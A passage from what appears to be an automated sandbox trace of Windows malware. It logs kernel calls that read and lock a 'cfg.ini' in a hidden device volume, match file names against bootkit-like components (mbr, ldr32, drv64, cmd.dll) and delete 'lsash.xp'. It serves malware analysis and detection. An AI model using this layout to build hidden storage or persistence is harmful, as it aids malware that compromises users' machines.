_Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.995] KeEnterCriticalRegion () [0129.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.995] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.995] KeLeaveCriticalRegion () [0129.995] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.995] KeEnterCriticalRegion () [0129.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.995] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.995] IdePortDispatch () returned 0x103 [0129.995] KeWaitForMutexObject () returned 0x0 [0129.995] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.995] KeLeaveCriticalRegion () [0129.995] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.995] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.996] KeEnterCriticalRegion () [0129.996] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.996] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d08000 [0129.996] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.996] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.996] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.996] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.996] IdePortDispatch () returned 0x103 [0129.996] KeWaitForMutexObject () returned 0x0 [0129.996] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.996] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.996] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.996] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.996] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.996] IdePortDispatch () returned 0x103 [0129.996] KeWaitForMutexObject () returned 0x0 [0129.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.996] KeLeaveCriticalRegion () [0129.996] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.997] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.997] KeEnterCriticalRegion () [0129.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.997] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.997] KeLeaveCriticalRegion () [0129.997] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.997] KeEnterCriticalRegion () [0129.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.997] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.997] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c070f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.997] KeLeaveCriticalRegion () [0129.997] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.997] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.997] KeEnterCriticalRegion () [0129.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.997] ExFreePoolWithTag (P=0xfffffa8003c07610, Tag=0x0) [0129.997] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.997] KeLeaveCriticalRegion () [0129.997] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.997] ReleaseMutex (hMutex=0xf0) returned 1 [0129.997] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.997] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.997] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.997] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.997] KeEnterCriticalRegion () [0129.997] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.997] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.997] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.997] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.997] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.997] IdePortDispatch () returned 0x103 [0129.997] KeWaitForMutexObject () returned 0x0 [0129.998] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.998] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.998] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.998] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.998] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.998] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.998] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.998] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.998] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.998] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.998] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.998] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.998] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.998] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.998] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.998] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.998] KeLeaveCriticalRegion () [0129.998] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.998] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.998] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.998] KeEnterCriticalRegion () [0129.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.998] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.998] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.998] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.998] IdePortDispatch () returned 0x103 [0129.998] KeWaitForMutexObject () returned 0x0 [0129.998] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.998] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.998] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.998] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.998] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.998] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.999] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.999] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.999] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.999] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.999] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.999] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.999] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.999] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.999] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.999] KeLeaveCriticalRegion () [0129.999] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.999] ReleaseMutex (hMutex=0x100) returned 1 [0129.999] Sleep (dwMilliseconds=0x2bf20) [0130.005] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70b01b10, dwHighDateTime=0x1d24fa4)) [0130.005] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.005] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.005] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.005] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.005] KeEnterCriticalRegion () [0130.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.005] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.005] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.005] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.005] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.005] IdePortDispatch () returned 0x103 [0130.006] KeWaitForMutexObject () returned 0x0 [0130.006] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.006] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.006] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.006] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.006] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.006] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05270 [0130.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.006] KeLeaveCriticalRegion () [0130.006] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.006] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.006] KeEnterCriticalRegion () [0130.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.006] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.006] KeLeaveCriticalRegion () [0130.006] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.006] KeEnterCriticalRegion () [0130.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.006] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.006] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.006] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.006] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.006] IdePortDispatch () returned 0x103 [0130.006] KeWaitForMutexObject () returned 0x0 [0130.006] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.006] KeLeaveCriticalRegion () [0130.006] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.006] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.007] KeEnterCriticalRegion () [0130.007] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.007] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d0b000 [0130.007] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.007] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.007] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.007] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.007] IdePortDispatch () returned 0x103 [0130.007] KeWaitForMutexObject () returned 0x0 [0130.007] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.007] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.007] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.007] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.007] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.007] IdePortDispatch () returned 0x103 [0130.007] KeWaitForMutexObject () returned 0x0 [0130.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.007] KeLeaveCriticalRegion () [0130.007] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.008] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.008] KeEnterCriticalRegion () [0130.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.008] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.008] KeLeaveCriticalRegion () [0130.008] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.008] KeEnterCriticalRegion () [0130.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.008] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.008] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c08dd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.008] KeLeaveCriticalRegion () [0130.008] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.008] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.008] KeEnterCriticalRegion () [0130.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.008] ExFreePoolWithTag (P=0xfffffa8003c05270, Tag=0x0) [0130.008] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.008] KeLeaveCriticalRegion () [0130.008] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.008] ReleaseMutex (hMutex=0xf0) returned 1 [0130.008] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.008] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.008] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.008] KeEnterCriticalRegion () [0130.008] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.008] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.008] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.008] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.008] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.008] IdePortDispatch () returned 0x103 [0130.008] KeWaitForMutexObject () returned 0x0 [0130.009] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.009] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.009] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.009] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.009] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.009] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c08260 [0130.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.009] KeLeaveCriticalRegion () [0130.009] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.009] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.009] KeEnterCriticalRegion () [0130.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.009] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.009] KeLeaveCriticalRegion () [0130.009] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.009] KeEnterCriticalRegion () [0130.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.009] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.009] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.009] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.009] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.009] IdePortDispatch () returned 0x103 [0130.009] KeWaitForMutexObject () returned 0x0 [0130.009] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.009] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.009] KeLeaveCriticalRegion () [0130.009] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.009] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.009] KeEnterCriticalRegion () [0130.009] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.009] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d0c000 [0130.009] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.010] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.010] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.010] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.010] IdePortDispatch () returned 0x103 [0130.010] KeWaitForMutexObject () returned 0x0 [0130.010] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.010] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.010] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.010] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.010] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.010] IdePortDispatch () returned 0x103 [0130.010] KeWaitForMutexObject () returned 0x0 [0130.010] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.010] KeLeaveCriticalRegion () [0130.010] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.011] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.011] KeEnterCriticalRegion () [0130.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.011] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.011] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.011] KeLeaveCriticalRegion () [0130.011] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.011] KeEnterCriticalRegion () [0130.011] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.011] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 